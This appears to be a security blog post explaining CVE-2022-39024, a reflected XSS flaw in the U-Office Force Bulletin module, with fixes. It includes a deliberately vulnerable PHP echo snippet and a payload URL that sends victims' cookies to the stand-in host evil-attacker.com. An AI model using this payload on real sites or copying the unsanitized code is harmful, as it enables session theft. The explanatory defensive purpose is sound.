In the world of cybersecurity, Cross-Site Scripting (XSS) is a common vulnerability that haunts many web applications. CVE-2022-39024 targets the U-Office Force Bulletin function, allowing attackers to run malicious code using insufficient input filtering. In this long read, we’ll explore what happened, demo the vulnerability with code, and discuss ways to fix and protect against it.

What is CVE-2022-39024?

CVE-2022-39024 is a vulnerability discovered in the U-Office Force Bulletin feature. This flaw is due to weak filtering of special characters within input fields, which a hacker can abuse to inject malicious JavaScript code. The seriousness lies in the fact you don’t need to log in; anyone with access to the page can trigger this attack.

Original disclosures and references

- NVD - CVE-2022-39024
- Mitre CVE Detail

How Does the Attack Work?

Browsers trust website-delivered scripts. If user input isn’t sanitized properly, attackers can slip JavaScript into forms or URLs, and their scripts run as if they were trusted code. With CVE-2022-39024, anyone can send a special URL to the bulletin module and get their code executed in another user’s browser—a classic Reflected XSS attack.

Exploit: Step-by-Step

Let’s look at how an attacker could exploit this bug. Assume that a website running U-Office Force has the following URL for its bulletin board:

https://target-site.com/force/bulletin?title=Welcome

Since the title parameter isn’t filtered strictly enough, a malicious user could send

https://target-site.com/force/bulletin?title=<script>alert('XSS')</script>;

If a user navigates to this link, a pop-up (alert('XSS')) appears, proving that arbitrary JavaScript executes on the victim’s device.

Code Snippet: Vulnerable Server-Side (PHP-style Pseudocode)

// Vulnerable code example (do not copy!)
$title = $_GET['title'];
echo "<h1>$title</h1>";

No validation is done here, so if the title parameter includes <script>, the browser will execute it.

https://target-site.com/force/bulletin?title=<script>document.location='https://evil-attacker.com/steal?cookie='+document.cookie</script>;

This would send the victim’s cookies (which can include session info!) to the attacker’s server.

3. Steals Sensitive Info: Attackers can hijack sessions, impersonate users, or show fake login forms.

Why filtering fails

The web application allows HTML special characters—like <, >, or ". If these aren’t replaced or stripped, they break the HTML structure and can force browsers to interpret user-supplied text as real code.

Server-Side Sanitization Example

Always encode user input before being shown in the browser. Here’s how you’d fix the snippet above:

$title = htmlspecialchars($_GET['title'], ENT_QUOTES, 'UTF-8');
echo "<h1>$title</h1>";

Now, entering <script>alert('XSS')</script> will show up as text, not as code.

Apply Content Security Policy (CSP) headers.

- Validate inputs: Only allow valid characters where possible (e.g., for titles, letters, and numbers).

Responsible Disclosure & Mitigation

Once the CVE was reported, the software vendor released updates. If you use U-Office Force, upgrade all modules to the latest version as soon as possible. Check your vendor’s official announcements for security patches.

References

- NVD - CVE-2022-39024
- Mitre CVE Record

Conclusion

CVE-2022-39024 demonstrates how one small missed detail—insufficient input filtering—can open the door for serious cyberattacks. The vulnerability affecting U-Office Force’s Bulletin module shows why it’s vital to sanitize ALL user-supplied input and keep your software updated. If you run U-Office Force, patch today and remind your dev team: never trust user input!

If you have questions or want to share your thoughts on XSS prevention, leave a comment below or check the official OWASP XSS Prevention Cheat Sheet.

Timeline

Published on: 10/31/2022 07:15:00 UTC
Last modified on: 10/31/2022 17:46:00 UTC